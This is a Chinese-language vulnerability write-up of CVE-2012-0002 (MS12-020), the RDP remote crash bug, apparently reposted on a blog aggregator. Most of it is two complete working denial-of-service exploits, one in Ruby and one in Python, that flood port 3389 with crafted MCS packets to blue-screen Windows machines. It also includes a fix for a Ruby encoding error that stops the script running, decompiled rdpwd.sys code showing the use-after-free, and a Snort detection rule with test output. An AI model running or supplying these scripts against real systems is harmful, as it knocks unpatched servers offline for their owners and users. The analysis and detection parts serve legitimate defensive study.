【漏洞分析】CVE2012-0002漏洞分析过程详述
来源:互联网 发布:实时数据库产品有哪些 编辑:程序博客网 时间:2024/06/03 22:44
1、漏洞触发
发送攻击脚本后机器蓝屏效果如下:
测试环境:win xp professional sp2
2、ruby脚本源码及分析
#!/usr/bin/env ruby
# ms12-020 PoC
# NOTE: 本测试脚本基于中国民间流传的ChineseShit而写,并且修正了数据包不符合协议的问题
# Author: Joshua J. Drake(jduck)
# From: BlackBap.Org
# Silic Group - 技术自由 技术创新 技术共享 技术原创 技术进步
require 'socket'
def send_tpkt(sd, data)
sd.write(make_tpkt(data))
end
def make_tpkt(data)
[
3, # version
0, # reserved
4+ data.length
].pack('CCn') + data
end
def make_x224(data)
[data.length ].pack('C') + data
end
def make_rdp(type, flags, data)
[type, flags, 4 + data.length ].pack('CCv') + data
end
host = ARGV.shift
sd = TCPSocket.new(host, 3389)
pkts1 = [""]
# craft connection request
rdp = make_rdp(1, 0, [ 0 ].pack('V'))
x224_1 = make_x224([
0xe0, # Connection request
0, # ??
0, # SRC-REF
0 # Class : Class 0
].pack('CnnC') + rdp)
pkts1 << make_tpkt(x224_1)
# craft connect-initial
x224_2 = make_x224([
0xf0, # Data / Class 0
0x80 # EOT: True / NR: 0
].pack('CC'))
# mcsCi
target_params = ""+
#"\x02\x01\x00"+ #maxChannelIds
"\x02\x04\x00\x00\x00\x22"+ # maxChannelIds
"\x02\x04\x00\x00\x00\x0a"+ # maxUserIds
"\x02\x04\x00\x00\x00\x00"+ # maxTokenIds
"\x02\x04\x00\x00\x00\x01"+ # numPriorities
"\x02\x04\x00\x00\x00\x00"+ # minThroughput
"\x02\x04\x00\x00\x00\x01"+ # maxHeight
"\x02\x02\xff\xff"+ # maxMCSPDUSize
"\x02\x04\x00\x00\x00\x02" # protocolVersion
min_params = ""+
"\x02\x04\x00\x00\x00\x01"+ # maxChannelIds
"\x02\x04\x00\x00\x00\x01"+ # maxUserIds
"\x02\x04\x00\x00\x00\x01"+ # maxTokenIds
"\x02\x04\x00\x00\x00\x01"+ # numPriorities
"\x02\x04\x00\x00\x00\x00"+ # minThroughput
"\x02\x04\x00\x00\x00\x01"+ # maxHeight
"\x02\x02\x04\x20"+ # maxMCSPDUSize
"\x02\x04\x00\x00\x00\x02" # protocolVersion
max_params = ""+
"\x02\x02\xff\xff"+ # maxChannelIds
"\x02\x02\xfc\x17"+ # maxUserIds
"\x02\x02\xff\xff"+ # maxTokenIds
"\x02\x04\x00\x00\x00\x01"+ # numPriorities
"\x02\x04\x00\x00\x00\x00"+ # minThroughput
"\x02\x04\x00\x00\x00\x01"+ # maxHeight
"\x02\x02\xff\xff"+ # maxMCSPDUSize
"\x02\x04\x00\x00\x00\x02" # protocolVersion
userdata = ""+
#gccCCrq
"\x00\x05\x00\x14"+
"\x7c\x00\x01\x81\x2a\x00\x08\x00\x10\x00\x01\xc0\x00\x44\x75\x63"+"\x61\x81\x1c"+
#clientCoreData
"\x01\xc0"+"\xd8\x00"+ # header (type, len)
"\x04\x00"+"\x08\x00"+ # version
"\x80\x02"+ # desktop width
"\xe0\x01"+ # desktop height
"\x01\xca"+ # color depth
"\x03\xaa"+ # SASSequence
"\x09\x04\x00\x00" + # keyboard layout
"\xce\x0e\x00\x00" + # client build number
#client name
"\x48\x00\x4f\x00\x53\x00\x54\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x04\x00\x00\x00"+ # keyboard type
"\x00\x00\x00\x00"+ # kbd subType
"\x0c\x00\x00\x00"+ # kbd FuncKey
#imeFileName
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x01\xca"+ # postBeta2ColorDepth
"\x01\x00"+ # clientProductId
"\x00\x00\x00\x00" + # serialNumber
"\x10\x00"+ # highColorDepth
"\x07\x00"+ # supportedColorDepths
"\x01\x00"+ # earlyCapabilityFlags
#clientDigProductId -poc has: "00000-000-0000000-00000"
"\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x2d\x00\x30\x00\x30\x00"+
"\x30\x00\x2d\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00"+
"\x30\x00\x2d\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00"+ # connectionType
"\x00"+ # pad1octet
"\x00\x00\x00\x00"+ # serverSelectedProtocol
"\x04\xc0\x0c\x00"+ # desktopPhysicalWidth
"\x0d\x00\x00\x00"+ # desktopPhysicalHeight
"\x00\x00\x00\x00"+ # reserved
#clientSecurityData
"\x02\xc0"+"\x0c\x00"+ # header (type, len)
"\x1b\x00\x00\x00"+ # encryptionMethods
"\x00\x00\x00\x00"+ # extEncryptionMethods
#clientNetworkData
"\x03\xc0"+"\x2c\x00"+ # header (type, len)
"\x03\x00\x00\x00"+ # channel count!
#channel 0
"rdpdr\x00\x00\x00"+ # name
"\x00\x00\x80\x80"+ #options
#channel 1
"cliprdr\x00"+ #name
"\x00\x00\xa0\xc0"+ #options
#channel 2
"rdpsnd\x00\x00"+ #name
"\x00\x00\x00\xc0" #options
#clientClusterData (not present)
#clientMonitorData (not present)
mcs_data = ""+
"\x04\x01\x01"+ # callingDomainSelector
"\x04\x01\x01"+ # calledDomainSelector
"\x01\x01\xff"+ # upwardFlag
#"\x30" + [ target_params.length ].pack('C') + target_params +
#"\x30" + [ min_params.length ].pack('C') + min_params +
#"\x30" + [ max_params.length ].pack('C') + max_params +
"\x30" + [ 0x19 ].pack('C') + target_params +
"\x30" + [ 0x19 ].pack('C') + min_params +
"\x30" + [ 0x1c ].pack('C') + max_params +
#userData
"\x04\x82" + [ userdata.length ].pack('n') + userdata
#mcs = "\x7f\x65\x82" + [mcs_data.length ].pack('n') #connect-initial (0x65 / 101), length
#mcs = "\x7f\x65\x82" + [ 0x194].pack('n') # connect-initial (0x65 /101), length
mcs = "\x7f\x65\x82\x01\x94"
mcs << mcs_data
pkts1 << make_tpkt(x224_2 +mcs.force_encoding("ascii-8bit"))
# send a special one?
pkts1 << make_tpkt(x224_2 +"\x04\x01\x00\x01\x00")
# send more pkts! - based on poc
10.times {
pkts1 << make_tpkt(x224_2 + "\x28")
}
pkts1 << make_tpkt(x224_2 +"\x38\x00\x06\x03\xea".force_encoding("ascii-8bit"))
pkts1 << make_tpkt(x224_2 +"\x38\x00\x06\x03\xeb".force_encoding("ascii-8bit"))
pkts1 << make_tpkt(x224_2 +"\x38\x00\x06\x03\xec".force_encoding("ascii-8bit"))
pkts1 << make_tpkt(x224_2 +"\x38\x00\x06\x03\xed".force_encoding("ascii-8bit"))
pkts1 << make_tpkt(x224_2 +"\x38\x00\x06\x03\xee".force_encoding("ascii-8bit"))
pkts1 << make_tpkt(x224_2 +"\x38\x00\x06\x03\xf0".force_encoding("ascii-8bit"))
pkts1 << make_tpkt(x224_2 +"\x38\x00\x06\x03\xf1".force_encoding("ascii-8bit"))
pkts1 << make_tpkt(x224_2 +"\x38\x00\x06\x03\xf2".force_encoding("ascii-8bit"))
pkts1 << make_tpkt(x224_2 +"\x38\x00\x06\x03\xf3".force_encoding("ascii-8bit"))
pkts1 << make_tpkt(x224_2 + "\x21\x80".force_encoding("ascii-8bit"))
bigpkt = pkts1.join('')
loop {
sd.write(bigpkt)
send_tpkt(sd, x224_2 +"\x2e\x00\x00\x01".force_encoding("ascii-8bit"))
send_tpkt(sd, x224_2 +"\x2e\x00\x00\x02".force_encoding("ascii-8bit"))
send_tpkt(sd, x224_2 +"\x2e\x00\x00\x03".force_encoding("ascii-8bit"))
send_tpkt(sd, x224_2 + "\x2e\x00\x00\x04".pack('C*'))
#read connect-initial response
buf= sd.recv(1500)
#XXX: TODO: check response =)
#puts buf
}
sd.close
# BlackBap.Org
3、问题及解决方案
版本信息:ruby 2.1.5p273
E:\VulAnalysis>ruby --version
ruby 2.1.5p273 (2014-11-13 revision 48405)[i386-mingw32]
网上资料获取的Ruby脚本运行时总是提示如下错误,即我们拷贝的程序采用的是UTF-8编码,而程序中字符串之间连接时编码必须相同,即将UTF8转成ASCII-8BIT或全部转换为字符数组
E:\VulAnalysis>ruby 2.rb 192.168.102.254--encoding=8bit
2.rb:185:in `<main>': incompatiblecharacter encodings: ASCII-8BIT and UTF-8 (En
coding::CompatibilityError)
send_tpkt(sd, x224_2 + "\x2e\x00\x00\x03".force_encoding("ascii-8bit"))
send_tpkt(sd, x224_2 + "\x2e\x00\x00\x04".pack('C*'))
4、python代码开发
#
#
# ms12-020 "chinese shit" PoC v2(wireshark version)
#
# tested on winsp3 spanish, reported towork on Win7, win 2008
#
# original source:http://115.com/file/be27pff7
#
#
import socket
import sys
import time
buf=""
buf+="\x03\x00\x00\x13" # TPKT, Version3, lenght 19
buf+="\x0e\xe0\x00\x00\x00\x00\x00\x01\x00\x08\x00\x00\x00\x00\x00"# ITU-T Rec X.224
buf+="\x03\x00\x01\xd6" # TPKT,Version 3, lenght 470
buf+="\x02\xf0\x80" # ITU-T RecX.224
buf+="\x7f\x65\x82\x01\x94\x04" #MULTIPOINT-COMMUNICATION-SERVICET.125
buf+="\x01\x01\x04\x01\x01\x01\x01\xff"# "Fuck you Chelios" packet
buf+="\x30\x19\x02\x04\x00\x00\x00\x22"#000000MaxchannelIDs result in bluescreen after 0x2c head len.
buf+="\x02\x04\x00\x00\x00\x02\x02\x04"
buf+="\x00\x00\x00\x00\x02\x04\x00\x00"
buf+="\x00\x01\x02\x04\x00\x00\x00\x00"
buf+="\x02\x04\x00\x00\x00\x01\x02\x02"
buf+="\xff\xff\x02\x04\x00\x00\x00\x02"
buf+="\x30\x19\x02\x04\x00\x00\x00\x01"
buf+="\x02\x04\x00\x00\x00\x01\x02\x04"
buf+="\x00\x00\x00\x01\x02\x04\x00\x00"
buf+="\x00\x01\x02\x04\x00\x00\x00\x00"
buf+="\x02\x04\x00\x00\x00\x01\x02\x02"
buf+="\x04\x20\x02\x04\x00\x00\x00\x02"
buf+="\x30\x1c\x02\x02\xff\xff\x02\x02"
buf+="\xfc\x17\x02\x02\xff\xff\x02\x04"
buf+="\x00\x00\x00\x01\x02\x04\x00\x00"
buf+="\x00\x00\x02\x04\x00\x00\x00\x01"
buf+="\x02\x02\xff\xff\x02\x04\x00\x00"
buf+="\x00\x02\x04\x82\x01\x33\x00\x05"
buf+="\x00\x14\x7c\x00\x01\x81\x2a\x00"
buf+="\x08\x00\x10\x00\x01\xc0\x00\x44"
buf+="\x75\x63\x61\x81\x1c\x01\xc0\xd8"
buf+="\x00\x04\x00\x08\x00\x80\x02\xe0"
buf+="\x01\x01\xca\x03\xaa\x09\x04\x00"
buf+="\x00\xce\x0e\x00\x00\x48\x00\x4f"
buf+="\x00\x53\x00\x54\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x04\x00\x00"
buf+="\x00\x00\x00\x00\x00\x0c\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x01\xca\x01\x00\x00\x00\x00"
buf+="\x00\x10\x00\x07\x00\x01\x00\x30"
buf+="\x00\x30\x00\x30\x00\x30\x00\x30"
buf+="\x00\x2d\x00\x30\x00\x30\x00\x30"
buf+="\x00\x2d\x00\x30\x00\x30\x00\x30"
buf+="\x00\x30\x00\x30\x00\x30\x00\x30"
buf+="\x00\x2d\x00\x30\x00\x30\x00\x30"
buf+="\x00\x30\x00\x30\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x00\x00\x00"
buf+="\x00\x00\x00\x00\x00\x04\xc0\x0c"
buf+="\x00\x0d\x00\x00\x00\x00\x00\x00"
buf+="\x00\x02\xc0\x0c\x00\x1b\x00\x00"
buf+="\x00\x00\x00\x00\x00\x03\xc0\x2c"
buf+="\x00\x03\x00\x00\x00\x72\x64\x70"
buf+="\x64\x72\x00\x00\x00\x00\x00\x80"
buf+="\x80\x63\x6c\x69\x70\x72\x64\x72"
buf+="\x00\x00\x00\xa0\xc0\x72\x64\x70"
buf+="\x73\x6e\x64\x00\x00\x00\x00\x00"
buf+="\xc0"
buf+="\x03\x00\x00\x0c" # TPKT,Version 3, Lenght 12
buf+="\x02\xf0\x80" # ITU-T Rec X.224
buf+="\x04\x01\x00\x01\x00" #MULTIPOINT-COMMUNICATION-SERVICE T.125
buf+="\x03\x00\x00\x08" #TPKT,Version 3, Length 8
buf+="\x02\xf0\x80" # ITU-T RecX.224
buf+="\x28" #MULTIPOINT-COMM-SERVICE T.125
buf+="\x03\x00\x00\x0c" # TPKT,Version 3, Lenght 12
buf+="\x02\xf0\x80" # ITU-T RecX.224
buf+="\x38\x00\x06\x03\xef" #MULTIPOINT-COMM-SERVICE T.125
buf+="\x03\x00\x00\x0c" # TPKT,Version 3, Lenght 12
buf+="\x02\xf0\x80" #ITU-T RecX.224
buf+="\x38\x00\x06\x03\xeb" #MULTIPOINT-COMM-SERVICE T.125
buf+="\x03\x00\x00\x0c" # TPKT,Version 3, Lenght 12
buf+="\x02\xf0\x80" #ITU-T RecX.224
buf+="\x38\x00\x06\x03\xec"#MULTIPOINT-COMM-SERVICE T.125
buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12
buf+="\x02\xf0\x80" #ITU-T RecX.224
buf+="\x38\x00\x06\x03\xed"#MULTIPOINT-COMM-SERVICE T.125
buf+="\x03\x00\x00\x0c" # TPKT,Version 3, Lenght 12
buf+="\x02\xf0\x80" #ITU-T RecX.224
buf+="\x38\x00\x06\x03\xee"#MULTIPOINT-COMM-SERVICE T.125
buf+="\x03\x00\x00\x0b" # TPKT,Version 3, Lenght 12
buf+="\x06\xd0\x00\x00\x12\x34\x00" #ITU-T Rec X.224
buf1 = ""
buf1 +="\x03\x00\x00\x13\x0e\xe0\x00\x00"
buf1 +="\x00\x00\x00\x01\x00\x08\x00\x00"
buf1 +="\x00\x00\x00\x03\x00\x01\xd6\x02"
buf1 +="\xf0\x80\x7f\x65\x82\x01\x94\x04"
buf1 += "\x01\x01\x04\x01\x01\x01\x01\xff"
buf1 +="\x30\x19\x02\x04\x00\x00\x00\x22"
buf1 +="\x02\x04\x00\x00\x00\x0a\x02\x04"
buf1 +="\x00\x00\x00\x00\x02\x04\x00\x00"
buf1 +="\x00\x01\x02\x04\x00\x00\x00\x00"
buf1 +="\x02\x04\x00\x00\x00\x01\x02\x02"
buf1 +="\xff\xff\x02\x04\x00\x00\x00\x02"
buf1 +="\x30\x19\x02\x04\x00\x00\x00\x01"
buf1 +="\x02\x04\x00\x00\x00\x01\x02\x04"
buf1 +="\x00\x00\x00\x01\x02\x04\x00\x00"
buf1 +="\x00\x01\x02\x04\x00\x00\x00\x00"
buf1 += "\x02\x04\x00\x00\x00\x01\x02\x02"
buf1 +="\x04\x20\x02\x04\x00\x00\x00\x02"
buf1 +="\x30\x1c\x02\x02\xff\xff\x02\x02"
buf1 +="\xfc\x17\x02\x02\xff\xff\x02\x04"
buf1 +="\x00\x00\x00\x01\x02\x04\x00\x00"
buf1 +="\x00\x00\x02\x04\x00\x00\x00\x01"
buf1 += "\x02\x02\xff\xff\x02\x04\x00\x00"
buf1 +="\x00\x02\x04\x82\x01\x33\x00\x05"
buf1 +="\x00\x14\x7c\x00\x01\x81\x2a\x00"
buf1 +="\x08\x00\x10\x00\x01\xc0\x00\x44"
buf1 +="\x75\x63\x61\x81\x1c\x01\xc0\xd8"
buf1 +="\x00\x04\x00\x08\x00\x80\x02\xe0"
buf1 += "\x01\x01\xca\x03\xaa\x09\x04\x00"
buf1 +="\x00\xce\x0e\x00\x00\x48\x00\x4f"
buf1 +="\x00\x53\x00\x54\x00\x00\x00\x00"
buf1 +="\x00\x00\x00\x00\x00\x00\x00\x00"
buf1 +="\x00\x00\x00\x00\x00\x00\x00\x00"
buf1 +="\x00\x00\x00\x00\x00\x04\x00\x00"
buf1 +="\x00\x00\x00\x00\x00\x0c\x00\x00"
buf1 +="\x00\x00\x00\x00\x00\x00\x00\x00"
buf1 +="\x00\x00\x00\x00\x00\x00\x00\x00"
buf1 +="\x00\x00\x00\x00\x00\x00\x00\x00"
buf1 +="\x00\x00\x00\x00\x00\x00\x00\x00"
buf1 += "\x00\x00\x00\x00\x00\x00\x00\x00"
buf1 +="\x00\x00\x00\x00\x00\x00\x00\x00"
buf1 +="\x00\x00\x00\x00\x00\x00\x00\x00"
buf1 +="\x00\x00\x00\x00\x00\x00\x00\x00"
buf1 +="\x00\x01\xca\x01\x00\x00\x00\x00"
buf1 +="\x00\x10\x00\x07\x00\x01\x00\x30"
buf1 += "\x00\x30\x00\x30\x00\x30\x00\x30"
buf1 +="\x00\x2d\x00\x30\x00\x30\x00\x30"
buf1 +="\x00\x2d\x00\x30\x00\x30\x00\x30"
buf1 +="\x00\x30\x00\x30\x00\x30\x00\x30"
buf1 +="\x00\x2d\x00\x30\x00\x30\x00\x30"
buf1 +="\x00\x30\x00\x30\x00\x00\x00\x00"
buf1 += "\x00\x00\x00\x00\x00\x00\x00\x00"
buf1 +="\x00\x00\x00\x00\x00\x00\x00\x00"
buf1 +="\x00\x00\x00\x00\x00\x04\xc0\x0c"
buf1 +="\x00\x0d\x00\x00\x00\x00\x00\x00"
buf1 +="\x00\x02\xc0\x0c\x00\x1b\x00\x00"
buf1 +="\x00\x00\x00\x00\x00\x03\xc0\x2c"
buf1 += "\x00\x03\x00\x00\x00\x72\x64\x70"
buf1 +="\x64\x72\x00\x00\x00\x00\x00\x80"
buf1 +="\x80\x63\x6c\x69\x70\x72\x64\x72"
buf1 +="\x00\x00\x00\xa0\xc0\x72\x64\x70"
buf1 +="\x73\x6e\x64\x00\x00\x00\x00\x00"
buf1 +="\xc0\x03\x00\x00\x0c\x02\xf0\x80"
buf1 +="\x04\x01\x00\x01\x00\x03\x00\x00"
buf1 +="\x08\x02\xf0\x80\x28\x03\x00\x00"
buf1 +="\x08\x02\xf0\x80\x28\x03\x00\x00"
buf1 +="\x08\x02\xf0\x80\x28\x03\x00\x00"
buf1 +="\x08\x02\xf0\x80\x28\x03\x00\x00"
buf1 += "\x08\x02\xf0\x80\x28\x03\x00\x00"
buf1 +="\x08\x02\xf0\x80\x28\x03\x00\x00"
buf1 +="\x08\x02\xf0\x80\x28\x03\x00\x00"
buf1 +="\x08\x02\xf0\x80\x28\x03\x00\x00"
buf1 +="\x08\x02\xf0\x80\x28\x03\x00\x00"
buf1 +="\x08\x02\xf0\x80\x28\x03\x00\x00"
buf1 += "\x0c\x02\xf0\x80\x38\x00\x06\x03"
buf1 +="\xea\x03\x00\x00\x0c\x02\xf0\x80"
buf1 +="\x38\x00\x06\x03\xeb\x03\x00\x00"
buf1 +="\x0c\x02\xf0\x80\x38\x00\x06\x03"
buf1 +="\xec\x03\x00\x00\x0c\x02\xf0\x80"
buf1 +="\x38\x00\x06\x03\xed\x03\x00\x00"
buf1 += "\x0c\x02\xf0\x80\x38\x00\x06\x03"
buf1 +="\xee\x03\x00\x00\x0c\x02\xf0\x80"
buf1 +="\x38\x00\x06\x03\xf0\x03\x00\x00"
buf1 +="\x0c\x02\xf0\x80\x38\x00\x06\x03"
buf1 +="\xf1\x03\x00\x00\x0c\x02\xf0\x80"
buf1 +="\x38\x00\x06\x03\xf2\x03\x00\x00"
buf1 += "\x0c\x02\xf0\x80\x38\x00\x06\x03"
buf1 +="\xf3\x03\x00\x00\x09\x02\xf0\x80"
buf1 += "\x21\x80"
#buf1 is for win xp ,buf2 is for win7win2003
#HOST = sys.argv[1]
HOST = '192.168.102.254'
PORT = 3389
for i in range(1000):
s= socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST,PORT))
print"sending: %d bytes" % len(buf1)
s.send(buf1)
rec= s.recv(100)
print"received: %d bytes" % len(rec)
s.close()
time.sleep(1)
5、逆向跟踪分析
通过蓝屏地址找到rdpwd.sys触发漏洞的地址:下面红色位置为非法访问地址即此地址释放后重复利用导致系统崩溃。
.text:0002C0C4 mov ecx, [eax+10h]
.text:0002C0C7 mov edi, [ecx+esi*8]
.text:0002C0CA mov [ecx+edx*8], edi
.text:0002C0CD mov esi, [ecx+esi*8+4]
.text:0002C0D1 mov [ecx+edx*8+4], esi
.text:0002C0D5 dec dword ptr [eax]
.text:0002C0D7 or dword ptr [eax+0Ch], 0FFFFFFFFh
.text:0002C0DB jmp short loc_2C09F
.text:0002C0DB _SListRemove@12 endp
int __stdcall SListRemove(int a1, int a2,int a3)
{
intresult; // eax@1
intv4; // edx@1
unsigned int v5; // esi@1
intv6; // ecx@2
intv7; // esi@12
unsigned int v8; // ecx@12
intv9; // ecx@14
result = a1;
v4= *(_DWORD *)(a1 + 8);
v5= 0;
if( *(_DWORD *)a1 )
{
v6 = *(_DWORD *)(a1 + 16);
while ( a2 != *(_DWORD *)(v6 + 8 * v4) )
{
++v4;
if ( v4 == *(_DWORD *)(a1 + 4) )
v4 = 0;
++v5;
if ( v5 >= *(_DWORD *)a1 )
goto LABEL_7;
}
if ( a3 )
*(_DWORD *)a3 = *(_DWORD *)(v6 + 8 * v4 + 4);
v7 = *(_DWORD *)a1 + *(_DWORD *)(a1 + 8) - 1;
v8 = *(_DWORD *)(a1 + 4);
if ( v7 >= v8 )
v7 -= v8;
v9 = *(_DWORD *)(a1 + 16);
*(_DWORD *)(v9 + 8 *v4) = *(_DWORD *)(v9 + 8 * v7);
*(_DWORD *)(v9 + 8 * v4 + 4) = *(_DWORD *)(v9 + 8 * v7 + 4);
--*(_DWORD *)a1;
*(_DWORD *)(a1 + 12) = -1;
}
else
{
LABEL_7:
result = a3;
if ( a3 )
*(_DWORD *)a3 = 0;
}
return result;
}
signed int __stdcall MCSAttachUserRequest(inta1, int a2, int a3, int a4, int a5, int a6, signed int a7)
{
intv7; // ebx@1
intv9; // esi@3
intv10; // eax@3
signed int v11; // ecx@3
PVOID v12; // eax@8
intv13; // eax@15
signed int v14; // ebx@16
intv15; // edi@17
intv16; // eax@17
signed int v17; // ecx@17
PVOID v18; // eax@22
intv19; // [sp+10h] [bp+8h]@24
v7= a1;
*(_BYTE *)a7 = 0;
if( *(_DWORD *)(a1 + 112) == *(_DWORD *)(a1 + 168) )
return 14;
v9= 0;
v10= a1 + 222;
v11= 2;
do
{
if ( !*(_BYTE *)v10 )
{
v9 = v10 - 6;
*(_BYTE *)v10 = 1;
}
v10 += 76;
--v11;
}
while ( v11 );
if( !v9 )
{
v12 = ExAllocatePoolWithTag(PagedPool, 0x4Cu, 0x636D5354u);
v9 = (int)v12;
if ( !v12 )
return 11;
*((_BYTE *)v12 + 5) = 0;
}
*(_DWORD *)(v9 + 8) = a4;
SListInit(v9 + 16, 5);
*(_DWORD *)v9 = a1;
*(_DWORD *)(v9 + 68) = a2;
*(_DWORD *)(v9 + 72) = a3;
*(_BYTE *)(v9 + 4) = a4 || a2 || a3;
v13= GetNewDynamicChannel(a1);
*(_DWORD *)(v9 + 12) = v13;
if( !v13 )
{
v14 = 15;
goto LABEL_35;
}
v15= 0;
v16= a1 + 425;
v17= 5;
do
{
if ( !*(_BYTE *)v16 )
{
v15 = v16 - 57;
*(_BYTE *)v16 = 1;
}
v16 += 64;
--v17;
}
while ( v17 );
if( !v15 )
{
v18 = ExAllocatePoolWithTag(PagedPool, 0x40u, 0x636D5354u);
v15 = (int)v18;
if ( !v18 )
{
v14 = a7;
goto LABEL_35;
}
*((_BYTE *)v18 + 56) = 0;
}
*(_DWORD *)(v15 + 52) = 2;
*(_DWORD *)(v15 + 60) = *(_DWORD *)(v9 + 12);
SListInit(v15, 5);
v19= a1 + 48;
if( !(unsigned __int8)SListAppend(v7 + 48, *(_DWORD *)(v15 + 60), v15) )
{
v14 = 11;
LABEL_31:
SListDestroy(v15);
if ( *(_BYTE *)(v15 + 56) )
*(_BYTE *)(v15 + 57) = 0;
else
ExFreePoolWithTag((PVOID)v15, 0);
LABEL_35:
SListDestroy(v9 + 16);
if ( *(_BYTE *)(v9 + 5) )
*(_BYTE *)(v9 + 6) = 0;
else
ExFreePoolWithTag((PVOID)v9, 0);
return v14;
}
if( !(unsigned __int8)SListAppend(v7 + 112, v9, v9) )
{
v14 = 11;
SListRemove(v19, *(_DWORD *)(v15 + 60), 0);
goto LABEL_31;
}
*(_DWORD *)a5 = v9;
*(_DWORD *)a6 = *(_DWORD *)(v7 + 108);
if( *(_BYTE *)(v7 + 16) & 0x20 )
*(_BYTE *)a7 = 1;
return 0;
}
6、报文分析与特征提取
alert tcp any any -> any 3389(msg:"cve2012-0002 for rdp protocolvulnerability";flow:to_server,established;content:"|0300|";offset:0;depth:2;content:"|0300|";distance:17;within:21;content:"|7f658201|";fast_pattern;content:"|000000|";within:17;reference:cve,2012-0002;sid:1091;rev:1)
7、Snort验证结果
Commencing packetprocessing (pid=22625)
07/20-15:46:18.101885 [**] [1:1091:1] cve2012-0002 for rdp protocolvulnerability [**] [Priority: 0] {TCP} 192.168.102.17:56632 ->192.168.102.18:3389
Action Stats:
Alerts: 1 ( 6.667%)
Logged: 1 ( 6.667%)
Passed: 0 ( 0.000%)
Limits:
Match: 0
Queue: 0
Log: 0
Event: 0
Alert: 0
Verdicts:
Allow: 15 (100.000%)
Block: 0 ( 0.000%)
Replace: 0 ( 0.000%)
Whitelist: 0 ( 0.000%)
Blacklist: 0 ( 0.000%)
Ignore: 0 ( 0.000%)
(null): 0 ( 0.000%)
Ref:
http://cve.scap.org.cn/CVE-2012-0002.html
http://vdisk.weibo.com/s/3E6o2?t=file
http://www.nigesb.com/ms12-020-poc.html
- 【漏洞分析】CVE2012-0002漏洞分析过程详述
- Adobe Acrobat Reader 漏洞分析过程
- Cve2012-0507 简单分析
- 漏洞分析马后炮 s2-045漏洞分析
- ICMP漏洞分析
- MS05-055漏洞分析
- 软件漏洞分析入门
- ymcms3.1.0漏洞分析
- MS08-067漏洞分析
- MS08-067漏洞分析
- MS06-030漏洞分析
- 软件漏洞分析入门
- 智能手机漏洞分析
- MS10-081漏洞分析
- Windows SMB漏洞分析
- MS11-011漏洞分析
- xss漏洞简要分析
- 计算机漏洞分析
- C语言循环的测试
- SIFT特征提取分析 sift算子
- JS: Cannot read property 'innerHTML' of undefined错误
- 布局优化
- 杭电 1061
- 【漏洞分析】CVE2012-0002漏洞分析过程详述
- VMware上RedHat Linux中安装VMware Tools
- 学无止进,开启求知的篇章---
- Online Judge System For SzNOI 题库 语法百题 C++ d020
- 坐等一个成长
- GRE写作必备句型
- httpclient详解
- 并查集(Union-Find) 应用举例 --- 基础篇
- 产品运营学习笔记(1)